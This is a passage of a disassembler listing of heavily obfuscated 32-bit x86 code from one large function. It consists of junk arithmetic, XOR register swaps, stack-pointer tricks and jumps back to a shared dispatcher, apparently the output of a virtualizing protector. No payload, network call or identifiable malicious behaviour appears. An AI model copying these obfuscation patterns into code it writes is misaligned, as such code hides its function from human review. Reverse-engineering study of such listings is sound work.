		add	di, 3A1h
		pop	ecx
		push	small 6124h
		mov	word ptr [esp+84h+var_84], cx
		sub	esp, 4
		mov	[esp+88h+var_88], edi
		push	small 7A89h
		pop	di
		mov	cx, 0A681h
		sub	cx, di
		pop	edi
		sub	di, cx
		pop	cx
		jmp	loc_5C74A8
; ---------------------------------------------------------------------------


loc_5C9BC1:				; CODE XREF: sub_5A55E5+26ADBj
		push	esi
		push	edi
		mov	edi, 7B29510Ah
		mov	esi, 89BC61BCh
		sub	esi, edi
		pop	edi
		sub	ebx, esi
		pop	esi
		neg	ebx
		inc	ebx
		shl	ebx, 8
		jmp	loc_5C25E0
; ---------------------------------------------------------------------------


loc_5C9BDE:				; CODE XREF: sub_5A55E5+2BB50j
		mov	[esp+82h+var_84+2], eax
		push	1E98h
		mov	[esp+86h+var_88+2], ecx
		mov	ecx, 79AB6C5Ch
		xor	[esp+86h+var_84+2], ecx
		pop	ecx
		pop	eax
		push	1108h
		mov	[esp+82h+var_84+2], edx
		push	2FB3h
		mov	[esp+86h+var_88+2], ebx
		mov	ebx, 53E15EF7h
		mov	edx, 72CD1D9Eh
		shl	edx, 3
		and	edx, 64FC239Ch
		or	edx, 7BE50292h
		or	edx, 227262E9h
		jmp	loc_5CC38C
; ---------------------------------------------------------------------------


loc_5C9C28:				; CODE XREF: sub_5A55E5+29D6Bj
		pop	esp
		mov	[esp+82h+var_84+2], edx
		push	eax
		push	esp
		jmp	loc_5D3F47
; ---------------------------------------------------------------------------


loc_5C9C33:				; CODE XREF: sub_5A55E5+1A6B0j
		add	eax, 21410084h
		sub	eax, 6B8B5A88h
		add	eax, 782D0117h
		sub	eax, 14677410h
		sub	eax, ebx
		add	eax, 14677410h
		push	edi
		mov	edi, 4F162330h
		push	ebx
		mov	ebx, 2916DDE7h
		add	edi, ebx
		pop	ebx
		add	eax, 3E0378D4h
		sub	eax, edi
		sub	eax, 3E0378D4h
		pop	edi
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ebx
		push	ebp
		jmp	loc_5D0E56
; ---------------------------------------------------------------------------


loc_5C9C79:				; CODE XREF: sub_5A55E5+1AC2Ej
		sub	al, bl
		jmp	loc_5CD2A8
; ---------------------------------------------------------------------------


loc_5C9C80:				; CODE XREF: sub_5A55E5+1B6A1j
		pop	[esp+8Ch+var_8C]
		pop	esp
		add	edx, 24141960h
		push	[esp+84h+var_84]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp+80h+var_80]
		push	ebx
		jmp	loc_5D014C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+82h+var_84+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9CAD:				; CODE XREF: sub_5A55E5+1FEC1j
		mov	ebp, ecx
		jmp	loc_5C2AC8
; ---------------------------------------------------------------------------


loc_5C9CB4:				; CODE XREF: sub_5A55E5+2BAAAj
		mov	[esp+0C2h+var_C4+2], edx
		push	4
		jmp	loc_5D0756
; ---------------------------------------------------------------------------


loc_5C9CC1:				; CODE XREF: sub_5A55E5+244C9j
		add	edi, 4
		xchg	edi, [esp+84h+var_84]
		pop	esp
		add	ebp, 4E6815E7h
		jmp	loc_5D2495
; ---------------------------------------------------------------------------


loc_5C9CD6:				; CODE XREF: sub_5A55E5+1DB3Dj
		or	edx, 5F0E52D1h
		xor	edx, 0DF9EFAF5h
		add	ebx, 1A3F3158h
		sub	ebx, edx
		sub	ebx, 1A3F3158h
		jmp	loc_5CE9F7
; ---------------------------------------------------------------------------


loc_5C9CF5:				; CODE XREF: sub_5A55E5+225E7j
		mov	[esp+94h+var_94], esi
		mov	esi, 1F8A5EB0h
		shl	esi, 7
		push	edi
		mov	edi, 0C52F5804h
		xor	esi, edi
		jmp	loc_5BFDF5
; ---------------------------------------------------------------------------


loc_5C9D0D:				; CODE XREF: sub_5A55E5+1AE49j
		mov	[esp+0A4h+var_A4], ebx
		jmp	loc_5D2E48
; ---------------------------------------------------------------------------


loc_5C9D15:				; CODE XREF: sub_5A55E5+1A601j
		mov	[esp+92h+var_94+2], ebp
		mov	ebp, 333510C2h
		sub	ebx, ebp
		pop	ebp
		or	ebx, 460A0BB7h
		and	ebx, 3CEC27CEh
		shr	ebx, 3
		shl	ebx, 4
		sub	esp, 4
		mov	[esp+92h+var_94+2], edi
		jmp	loc_5C2672
; ---------------------------------------------------------------------------


loc_5C9D3D:				; CODE XREF: sub_5A55E5+1B282j
		push	ebp
		mov	ebp, 477637D9h
		add	esi, ebp
		pop	ebp
		jmp	loc_5C3B7D
; ---------------------------------------------------------------------------


loc_5C9D4B:				; CODE XREF: sub_5A55E5+23618j
		sub	bl, al
		push	edx
		mov	dh, 24h
		sub	bl, dh
		pop	edx
		sub	esp, 2
		mov	word ptr [esp+88h+var_88], cx
		jmp	loc_5C9488
; ---------------------------------------------------------------------------


loc_5C9D5F:				; CODE XREF: sub_5A55E5+1B016j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9D64:				; CODE XREF: sub_5A55E5+1CF4Fj
		mov	edi, 77F4112Ch
		add	esi, edi
		jmp	loc_5D10C3
; ---------------------------------------------------------------------------


loc_5C9D70:				; CODE XREF: sub_5A55E5+2A0EDj
		pop	ecx
		add	ecx, edi
		mov	edi, [esp+94h+var_94]
		jmp	loc_5C221E
; ---------------------------------------------------------------------------


loc_5C9D7B:				; CODE XREF: sub_5A55E5+28798j
		push	dx
		mov	dh, 0E7h
		sub	al, 0F1h
		push	ecx
		mov	cl, 8Bh
		or	cl, 52h
		add	cl, 0D9h
		sub	cl, 0B1h
		not	cl
		not	cl
		xor	cl, 0B6h
		sub	al, cl
		pop	ecx
		add	al, dh
		add	al, 0B5h
		push	ebx
		mov	bh, 25h
		inc	bh
		xor	bh, 93h
		or	bh, 17h
		not	bh
		xor	bh, 0FBh
		push	207Bh
		jmp	loc_5C5007
; ---------------------------------------------------------------------------


loc_5C9DB5:				; CODE XREF: sub_5A55E5+1D6CFj
		rol	word ptr [esp+8Ch+var_8C], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9DBF:				; CODE XREF: sub_5A55E5+2B9B0j
		push	42780B88h
		pop	edi
		add	edi, 0F950C77h
		push	eax
		mov	eax, 7783043Eh
		or	eax, 36896188h
		jmp	loc_5C1F1F
; ---------------------------------------------------------------------------


loc_5C9DDB:				; CODE XREF: sub_5A55E5+1A77Ej
		add	ecx, ebx
		sub	ecx, 77CB3302h
		pop	ebx
		mov	eax, ecx
		pop	ecx
		not	eax
		jmp	loc_5C72CC
; ---------------------------------------------------------------------------


loc_5C9DEE:				; CODE XREF: sub_5A55E5+25B61j
		pop	ecx
		jmp	loc_5C65B4
; ---------------------------------------------------------------------------


loc_5C9DF4:				; CODE XREF: sub_5A55E5+1DBC2j
		push	[esp+0A6h+var_A8+2]
		jmp	loc_5D26C2
; ---------------------------------------------------------------------------


loc_5C9DFC:				; CODE XREF: sub_5A55E5+1BF49j
		or	ebp, 1BE722D3h
		dec	ebp
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ecx
		push	ebp
		push	49F42955h
		pop	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		or	ebp, 0E2720F7h
		xor	ebp, 0F94D91FEh
		jmp	loc_5D3778
; ---------------------------------------------------------------------------


loc_5C9E27:				; CODE XREF: sub_5A55E5+2B162j
		not	cl
		add	cl, 58h
		and	dl, cl
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		shr	dl, 4
		jmp	loc_5C9952
; ---------------------------------------------------------------------------


loc_5C9E3F:				; CODE XREF: sub_5A55E5+212FEj
		pop	[esp+8Eh+var_90+2]
		mov	esp, [esp+8Ah+var_8C+2]
		add	byte ptr [esp+8Ah+var_8C+2], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9E4E:				; CODE XREF: sub_5A55E5+1A913j
		add	esi, 4436EECCh
		sub	eax, esi
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+84h+var_84], ecx
		jmp	loc_5C3EB4
; ---------------------------------------------------------------------------


loc_5C9E6E:				; CODE XREF: sub_5A55E5+2AFC8j
		mov	eax, 64130D8Bh
		jmp	loc_5D2E15
; ---------------------------------------------------------------------------


loc_5C9E78:				; CODE XREF: sub_5A55E5+25712j
		sub	al, bh
		mov	ebx, [esp+84h+var_84]
		add	esp, 4
		mov	cx, word ptr [esp+80h+var_80]
		sub	esp, 4
		mov	[esp+84h+var_84], edi
		push	7244h
		mov	[esp+88h+var_88], esp
		add	[esp+88h+var_88], 4
		pop	edi
		jmp	loc_5C9538
; ---------------------------------------------------------------------------


loc_5C9E9F:				; CODE XREF: sub_5A55E5+20846j
		push	esi
		mov	esi, 5BE7DCFh
		not	esi
		push	ebp
		mov	ebp, 787E4016h
		sub	ebp, 0F173D9Bh
		jmp	loc_5C7374
; ---------------------------------------------------------------------------


loc_5C9EB8:				; CODE XREF: sub_5A55E5+248F5j
		mov	[esp+8Ah+var_8C+2], edi
		push	esi
		mov	esi, 1DCD3AF7h
		jmp	loc_5CB9C5
; ---------------------------------------------------------------------------


loc_5C9EC6:				; CODE XREF: sub_5A55E5+20B64j
		push	34EEh
		push	esp
		jmp	loc_5C85B9
; ---------------------------------------------------------------------------


loc_5C9ED1:				; CODE XREF: sub_5A55E5+23403j
		push	edx
		jmp	loc_5C8A06
; ---------------------------------------------------------------------------


loc_5C9ED7:				; CODE XREF: sub_5A55E5+2999Cj
		sub	esp, 4
		jmp	loc_5C9EB8
; ---------------------------------------------------------------------------


loc_5C9EDF:				; CODE XREF: sub_5A55E5+2759Ej
		add	esi, 4
		jmp	loc_5C8A99
; ---------------------------------------------------------------------------


loc_5C9EEA:				; CODE XREF: sub_5A55E5+1F5A8j
		add	edx, 78345474h
		xor	ebx, edx
		jmp	loc_5D0AFD
; ---------------------------------------------------------------------------


loc_5C9EF7:				; CODE XREF: sub_5A55E5+1AA7Cj
		pop	edx
		shl	esi, 3
		push	edi
		mov	edi, 416F3D5Ch
		push	edi
		not	[esp+8Ah+var_8C+2]
		pop	edi
		xor	edi, 119B3CF3h
		xor	esi, edi
		mov	edi, [esp+86h+var_88+2]
		jmp	loc_5C68F5
; ---------------------------------------------------------------------------


loc_5C9F16:				; CODE XREF: sub_5A55E5+2556Fj
		pop	ecx
		push	2214h
		mov	[esp+86h+var_88+2], eax
		push	esi
		mov	esi, 67D975AEh
		mov	eax, 67D975B0h
		sub	eax, esi
		mov	esi, [esp+8Ah+var_8C+2]
		jmp	loc_5C3D3F
; ---------------------------------------------------------------------------


loc_5C9F34:				; CODE XREF: sub_5A55E5+2AB9Dj
		sub	eax, 319C4140h
		not	eax
		not	eax
		jmp	loc_5D0FF1
; ---------------------------------------------------------------------------


loc_5C9F42:				; CODE XREF: sub_5A55E5+286D7j
		mov	eax, 59521A71h
		jmp	loc_5CE062
; ---------------------------------------------------------------------------


loc_5C9F4C:				; CODE XREF: sub_5A55E5+29F38j
		xor	edx, ebp
		pop	ebp
		sub	esi, edx
		pop	edx
		xor	esi, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], esi
		xor	esi, [esp+82h+var_84+2]
		jmp	loc_5D064A
; ---------------------------------------------------------------------------


loc_5C9F60:				; CODE XREF: sub_5A55E5+2E445j
		neg	edi
		add	edi, 4D29053Dh
		dec	edi
		sub	edi, 22FE359Fh
		sub	edi, 0B52755Ah
		jmp	loc_5C941C
; ---------------------------------------------------------------------------


loc_5C9F7A:				; CODE XREF: sub_5A55E5+1B15Bj
		push	5ACAh
		mov	[esp+7Ch+var_7C], ebp
		jmp	loc_5CAFBA
; ---------------------------------------------------------------------------


loc_5C9F87:				; CODE XREF: sub_5A55E5+2A933j
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		push	ecx
		push	eax
		pop	ecx
		jmp	loc_5CE535
; ---------------------------------------------------------------------------


loc_5C9F9B:				; CODE XREF: sub_5A55E5+1C057j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5D3424
; ---------------------------------------------------------------------------


loc_5C9FAC:				; CODE XREF: sub_5A55E5+2C90Ej
		pop	[esp+9Ah+var_9C+2]
		mov	esp, [esp+96h+var_98+2]
		test	ecx, eax
		pushf
		jmp	loc_5CFBEF
; ---------------------------------------------------------------------------


loc_5C9FBA:				; CODE XREF: sub_5A55E5+29C29j
		mov	eax, 0C055EAFh
		jmp	loc_5C26A6
; ---------------------------------------------------------------------------


loc_5C9FC4:				; CODE XREF: sub_5A55E5+1B2E0j
		mov	[esp+98h+var_98], ebx
		jmp	loc_5CE0B9
; ---------------------------------------------------------------------------


loc_5C9FCC:				; CODE XREF: sub_5A55E5+20591j
		pop	esi
		add	esp, 4
		push	[esp+88h+var_88]
		pop	edx
		jmp	loc_5C689A
; ---------------------------------------------------------------------------


loc_5C9FDC:				; CODE XREF: sub_5A55E5+28BB6j
		push	5387h
		jmp	loc_5C21C5
; ---------------------------------------------------------------------------


loc_5C9FE6:				; CODE XREF: sub_5A55E5+2718Aj
		pop	[esp+8Ch+var_8C]
		pop	esp


loc_5C9FEA:				; CODE XREF: sub_5A55E5+24400j
		push	5EBFh
		mov	[esp+88h+var_88], edi
		push	ebx
		pop	edi
		jmp	loc_5C3958
; ---------------------------------------------------------------------------


loc_5C9FF9:				; CODE XREF: sub_5A55E5+2DCECj
		mov	ecx, 335E37D7h
		push	1D0h
		mov	[esp+8Ch+var_8C], esi
		mov	esi, 335E37D3h
		sub	ecx, 56C10838h
		sub	ecx, esi
		add	ecx, 56C10838h
		pop	esi
		sub	eax, 53FE2100h
		sub	eax, 320F1692h
		jmp	loc_5CF640
; ---------------------------------------------------------------------------


loc_5CA029:				; CODE XREF: sub_5A55E5+1D761j
		mov	ebp, 0FFFFFFFFh
		add	ebx, ebp
		jmp	loc_5CB557
; ---------------------------------------------------------------------------


loc_5CA035:				; CODE XREF: sub_5A55E5+2B8ACj
		sub	ecx, 0C1AFB7C2h
		mov	eax, ecx
		mov	ecx, [esp+0B6h+var_B8+2]
		add	esp, 4
		mov	esi, 0A3EDC835h
		jmp	loc_5C8046
; ---------------------------------------------------------------------------


loc_5CA050:				; CODE XREF: sub_5A55E5+25007j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5CB046
; ---------------------------------------------------------------------------


loc_5CA061:				; CODE XREF: sub_5A55E5+26901j
		push	edi
		mov	edi, 789F6212h
		dec	edi
		push	ecx
		mov	ecx, 0A7249C1h
		sub	ecx, 273464DEh
		jmp	loc_5C4300
; ---------------------------------------------------------------------------


loc_5CA079:				; CODE XREF: sub_5A55E5+2C602j
		inc	edx
		add	edx, 88AF6202h
		add	ecx, 5B872339h
		add	ecx, edx
		sub	ecx, 5B872339h
		jmp	loc_5C7058
; ---------------------------------------------------------------------------


loc_5CA093:				; CODE XREF: sub_5A55E5+2048Fj
		mov	[esp+9Eh+var_A0+2], edx
		jmp	loc_5C0CBD
; ---------------------------------------------------------------------------


loc_5CA09B:				; CODE XREF: sub_5A55E5+28C8Bj
		mov	[esp+9Eh+var_A0+2], ecx
		jmp	loc_5C8089
; ---------------------------------------------------------------------------


loc_5CA0A3:				; CODE XREF: sub_5A55E5+1A866j
		pop	eax
		pop	[esp+80h+var_80]
		pop	esp
		and	al, ch
		pop	ecx
		jmp	loc_5C0429
; ---------------------------------------------------------------------------


loc_5CA0B0:				; CODE XREF: sub_5A55E5+1C2B4j
		push	ebp
		mov	ebp, 1673DEh
		dec	ebp
		neg	ebp
		push	ebx
		jmp	loc_5C78BA
; ---------------------------------------------------------------------------


loc_5CA0BF:				; CODE XREF: sub_5A55E5+1A973j
		add	eax, 4
		jmp	loc_5D0093
; ---------------------------------------------------------------------------


loc_5CA0C9:				; CODE XREF: sub_5A55E5+2AB76j
		pop	eax
		push	[esp+7Ch+var_7C]
		pop	ebx
		jmp	loc_5C3821
; ---------------------------------------------------------------------------


loc_5CA0D3:				; CODE XREF: sub_5A55E5+25A5Cj
		and	bp, 6EDFh
		add	bp, 0C2BDh
		add	dx, bp
		pop	ebp
		jmp	loc_5C0575
; ---------------------------------------------------------------------------


loc_5CA0E6:				; CODE XREF: sub_5A55E5+1BB75j
		add	edi, 4
		xchg	edi, [esp+88h+var_88]
		jmp	loc_5C60B0
; ---------------------------------------------------------------------------


loc_5CA0F1:				; CODE XREF: sub_5A55E5+25F25j
		pop	esp
		mov	[esp+84h+var_84], edi
		sub	esp, 4
		mov	[esp+88h+var_88], ebx
		jmp	loc_5C7940
; ---------------------------------------------------------------------------


loc_5CA100:				; CODE XREF: sub_5A55E5+2C153j
		mov	ebx, edi
		pop	edi
		and	ebx, 53FB1706h
		add	ebx, 503D7FD5h
		or	ebx, 542E54BBh
		push	ebp
		mov	ebp, 1
		add	ebx, ebp
		mov	ebp, [esp+88h+var_88]
		add	esp, 4
		add	ebx, 6DB06BE2h
		mov	edi, ebx
		pop	ebx
		xor	ebx, edi
		mov	edi, [esp+80h+var_80]
		add	esp, 4
		and	[edi+1Ch], ebx
		mov	ebx, [esp+7Ch+var_7C]
		sub	esp, 4
		mov	[esp+80h+var_80], ecx
		jmp	loc_5C8DF6
; ---------------------------------------------------------------------------


loc_5CA145:				; CODE XREF: sub_5A55E5+22A54j
		sub	esp, 4
		mov	[esp+84h+var_84], edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_5CDFFE
; ---------------------------------------------------------------------------


loc_5CA15D:				; CODE XREF: sub_5A55E5+23A49j
		pop	esp
		push	1980h
		mov	[esp+0A8h+var_A8], edi
		jmp	loc_5C36E1
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A8h+var_A8]
		push	ecx
		sub	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5CC1C7
; ---------------------------------------------------------------------------


loc_5CA181:				; CODE XREF: sub_5A55E5+1A640j
		xor	ebp, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], ebp
		xor	ebp, [esp+96h+var_98+2]
		jmp	loc_5C6C7E
; ---------------------------------------------------------------------------


loc_5CA18F:				; CODE XREF: sub_5A55E5+2B2AFj
		mov	al, 6Bh
		push	ecx
		mov	ch, 0DEh
		sub	ch, 1
		jmp	loc_5C8E73
; ---------------------------------------------------------------------------


loc_5CA19C:				; CODE XREF: sub_5A55E5+21F1Bj
		mov	edx, eax
		mov	eax, [esp+7Ch+var_7C]
		add	esp, 4
		xor	edx, esi
		mov	esi, [esp+78h+var_78]
		add	esp, 4
		dec	edx
		add	edx, 0FFFFFFFFh
		add	edx, 0A5DEEAB9h
		add	ecx, edx
		mov	edx, [esp+74h+var_74]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+78h+var_78]
		pop	esp
		sub	esp, 4
		jmp	loc_5CC788
; ---------------------------------------------------------------------------


loc_5CA1D9:				; CODE XREF: sub_5A55E5+1E5F4j
		mov	dh, 24h
		sub	dh, ch
		pop	ecx
		sub	al, dh
		mov	edx, [esp+0B6h+var_B8+2]
		add	esp, 4
		push	edx
		jmp	loc_5C4357
; ---------------------------------------------------------------------------


loc_5CA1EC:				; CODE XREF: sub_5A55E5+25473j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5D2D07
; ---------------------------------------------------------------------------


loc_5CA1F4:				; CODE XREF: sub_5A55E5+24EBEj
		xor	esi, 4A502478h
		push	6C80h
		mov	[esp+0B6h+var_B8+2], eax
		jmp	loc_5D0100
; ---------------------------------------------------------------------------


loc_5CA207:				; CODE XREF: sub_5A55E5+230D9j
		add	esp, 4
		push	eax
		mov	eax, 87B06A5h
		inc	eax
		shr	eax, 5
		jmp	loc_5C3B21
; ---------------------------------------------------------------------------


loc_5CA21C:				; CODE XREF: sub_5A55E5+219C1j
		and	ebx, edi
		mov	edi, [esp+0A8h+var_A8]
		jmp	loc_5C3EF3
; ---------------------------------------------------------------------------


loc_5CA226:				; CODE XREF: sub_5A55E5+1FAB9j
		push	23E9h
		mov	[esp+58h+var_58], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5D32A2
; ---------------------------------------------------------------------------


loc_5CA23C:				; CODE XREF: sub_5A55E5+2C505j
		mov	eax, 25DD2B3Fh
		push	ecx
		mov	ecx, 25DD2B3Eh
		sub	eax, ecx
		pop	ecx
		push	2477h
		mov	[esp+60h+var_60], ebx
		mov	ebx, 24h
		jmp	loc_5C8AAF
; ---------------------------------------------------------------------------


loc_5CA25C:				; CODE XREF: sub_5A55E5+295CCj
		push	ecx
		jmp	loc_5D3E3B
; ---------------------------------------------------------------------------


loc_5CA262:				; CODE XREF: sub_5A55E5+1E124j
		add	edx, edi
		pop	edi
		mov	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ebx
		mov	ebx, esi
		mov	ecx, ebx
		mov	ebx, [esp+0ACh+var_AC]
		add	esp, 4
		jmp	loc_5C0750
; ---------------------------------------------------------------------------


loc_5CA280:				; CODE XREF: sub_5A55E5+21956j
		xchg	edi, [esp+76h+var_78+2]
		jmp	loc_5C7DFF
; ---------------------------------------------------------------------------


loc_5CA288:				; CODE XREF: sub_5A55E5+2BC2Dj
		pop	ebp
		not	eax
		jmp	loc_5CDD45
; ---------------------------------------------------------------------------


loc_5CA290:				; CODE XREF: sub_5A55E5+26034j
		and	edi, 35F23EC8h
		not	edi
		jmp	loc_5D0B99
; ---------------------------------------------------------------------------


loc_5CA29D:				; CODE XREF: sub_5A55E5+23A99j
		mov	[esp+98h+var_98], edx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CA2A5:				; CODE XREF: sub_5A55E5+29364j
		add	edx, 4
		push	edi
		jmp	loc_5BFC7D
; ---------------------------------------------------------------------------


loc_5CA2B1:				; CODE XREF: sub_5A55E5+2AFCEj
		mov	edx, 7CFDBB1Bh
		sub	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		pop	edx
		push	dword ptr [ebx]
		pop	eax
		mov	ebx, [esp+90h+var_90]
		push	2802h
		mov	[esp+94h+var_94], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+94h+var_94]
		pop	esp
		sub	esp, 4
		mov	[esp+94h+var_94], esi
		mov	esi, esp
		jmp	loc_5CB3B5
; ---------------------------------------------------------------------------


loc_5CA2EA:				; CODE XREF: sub_5A55E5+255D0j
		pop	esi
		jmp	loc_5C0066
; ---------------------------------------------------------------------------


loc_5CA2F0:				; CODE XREF: sub_5A55E5+2E4ACj
		push	eax
		mov	eax, 4
		jmp	loc_5C469A
; ---------------------------------------------------------------------------


loc_5CA2FB:				; CODE XREF: sub_5A55E5+279D1j
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	eax
		push	[esp+98h+var_94]
		mov	eax, [esp+9Ch+var_9C]
		add	esp, 4
		pop	[esp+98h+var_98]
		jmp	loc_5C3127
; ---------------------------------------------------------------------------


loc_5CA31A:				; CODE XREF: sub_5A55E5+2E031j
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5CD89A
; ---------------------------------------------------------------------------


loc_5CA328:				; CODE XREF: sub_5A55E5+1DFC9j
		pop	esp
		push	ebx
		push	[esp+98h+var_94]
		pop	ebx
		jmp	loc_5CC889
; ---------------------------------------------------------------------------


loc_5CA334:				; CODE XREF: sub_5A55E5+28464j
		mov	eax, 20h
		sub	eax, 1D065FA4h
		sub	eax, 746B72C1h
		sub	eax, 730319FBh
		add	eax, edi
		add	eax, 730319FBh
		add	eax, 746B72C1h
		push	ebx
		push	ebp
		push	eax
		mov	eax, 73425DB1h
		mov	ebp, eax
		jmp	loc_5C0FCB
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A4h+var_A4]
		push	ebx
		sub	esp, 4
		push	esp
		pop	[esp+0B0h+var_B0]
		add	[esp+0ACh+var_AC], 4
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5C8E55
; ---------------------------------------------------------------------------


loc_5CA381:				; CODE XREF: sub_5A55E5+1C28Bj
		push	25F9h
		mov	[esp+0A2h+var_A4+2], ebx
		push	esp
		pop	ebx
		jmp	loc_5C84E2
; ---------------------------------------------------------------------------


loc_5CA390:				; CODE XREF: sub_5A55E5+262D9j
		pop	esi
		jmp	loc_5CA6C0
; ---------------------------------------------------------------------------


loc_5CA396:				; CODE XREF: sub_5A55E5+26250j
		or	esi, 69C1FF5h
		and	esi, 359806DDh
		sub	esi, 0E2A8DB3Dh
		xor	eax, esi
		pop	esi
		inc	eax
		jmp	loc_5CF00B
; ---------------------------------------------------------------------------


loc_5CA3B1:				; CODE XREF: sub_5A55E5+1B5FDj
		add	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_5C6360
; ---------------------------------------------------------------------------


loc_5CA3BA:				; CODE XREF: sub_5A55E5+20829j
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		pop	ebp


loc_5CA3C3:				; CODE XREF: sub_5A55E5+1B146j
		push	7A82h
		mov	[esp+0C0h+var_C0], ebx
		push	[esp+0C0h+var_C0]
		mov	eax, [esp+0C4h+var_C4]
		add	esp, 4
		push	esi
		jmp	loc_5C5F11
; ---------------------------------------------------------------------------


loc_5CA3DA:				; CODE XREF: sub_5A55E5+28547j
		push	edx
		mov	dh, 0EEh
		add	bh, dh
		pop	edx
		add	al, 0B2h
		sub	al, bh
		sub	al, 0B2h
		mov	ebx, [esp+0C4h+var_C4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0C8h+var_C8]
		pop	esp
		xor	bl, al
		jmp	loc_5CD2E2
; ---------------------------------------------------------------------------


loc_5CA403:				; CODE XREF: sub_5A55E5+1DF76j
		mov	edx, [esp+0B4h+var_B4]
		push	ebp
		jmp	loc_5CB92F
; ---------------------------------------------------------------------------


loc_5CA40C:				; CODE XREF: sub_5A55E5+22842j
		add	ebp, 61AD6AD3h
		add	edi, ebp
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 533A2688h
		mov	ebx, 152F4852h
		jmp	loc_5C7964
; ---------------------------------------------------------------------------


loc_5CA42E:				; CODE XREF: sub_5A55E5+22435j
		mov	ebx, [esp+0A8h+var_A8]
		add	esp, 4
		neg	edx
		push	ebx
		mov	ebx, 2CCB22DFh
		jmp	loc_5CAA10
; ---------------------------------------------------------------------------


loc_5CA444:				; CODE XREF: sub_5A55E5+2550Ej
		add	esi, ebp
		sub	esi, 95931FCh
		pop	ebp
		shl	esi, 1
		shl	esi, 2
		add	esi, 0E0ABF284h
		add	ebx, esi
		jmp	loc_5C7EDC
; ---------------------------------------------------------------------------


loc_5CA45F:				; CODE XREF: sub_5A55E5+25DDFj
		not	ebp
		xchg	ebp, [esp+0A4h+var_A4]
		jmp	loc_5CF6FD
; ---------------------------------------------------------------------------


loc_5CA469:				; CODE XREF: sub_5A55E5+2C313j
		sub	eax, 6A840DC4h
		mov	ecx, eax
		push	[esp+0A4h+var_A4]
		jmp	loc_5D2665
; ---------------------------------------------------------------------------


loc_5CA478:				; CODE XREF: sub_5A55E5+1D5CAj
		mov	[esp+8Eh+var_90+2], eax
		jmp	loc_5CD9B4
; ---------------------------------------------------------------------------


loc_5CA480:				; CODE XREF: sub_5A55E5+27F51j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5D10DE
; ---------------------------------------------------------------------------


loc_5CA492:				; CODE XREF: sub_5A55E5+2D1A2j
		add	al, ch
		add	al, 0F4h
		mov	ecx, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_5C5CDA
; ---------------------------------------------------------------------------


loc_5CA4A1:				; CODE XREF: sub_5A55E5+1DB52j
		shl	esi, 1
		jmp	loc_5CA1F4
; ---------------------------------------------------------------------------


loc_5CA4A8:				; CODE XREF: sub_5A55E5+2294Cj
		push	[esp+94h+var_94]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+98h+var_98], ebp
		mov	ebp, 4D3D35C0h
		push	esi
		mov	esi, 5C461863h
		push	edi
		mov	edi, 541E3A88h
		shr	edi, 3
		shl	edi, 6
		xor	edi, 0EE59A6CBh
		and	esi, edi
		pop	edi
		shl	esi, 8
		sub	esi, 0DF018F50h
		jmp	loc_5CBA0D
; ---------------------------------------------------------------------------


loc_5CA4E9:				; CODE XREF: sub_5A55E5+1A394j
		xor	edi, 5746051h
		add	edi, 0AC751EC0h
		neg	edi
		jmp	loc_5CC574
; ---------------------------------------------------------------------------


loc_5CA4FC:				; CODE XREF: sub_5A55E5+1C5D2j
		mov	esp, [esp+9Ch+var_9C]
		push	6884h
		mov	[esp+0A0h+var_A0], eax
		pop	dword ptr [edi+40h]
		push	[esp+9Ch+var_9C]
		push	[esp+0A0h+var_A0]
		pop	eax
		jmp	loc_5CB273
; ---------------------------------------------------------------------------


loc_5CA516:				; CODE XREF: sub_5A55E5+2D918j
		mov	eax, 0E6CFA3Bh
		sub	edi, eax
		pop	eax
		push	edi
		mov	edi, 44DF357Ch
		and	edi, 4AD14528h
		jmp	loc_5CE12D
; ---------------------------------------------------------------------------


loc_5CA52F:				; CODE XREF: sub_5A55E5+24043j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5CB4B3
; ---------------------------------------------------------------------------


loc_5CA537:				; CODE XREF: sub_5A55E5+1C455j
		pop	esi
		jmp	loc_5C49A8
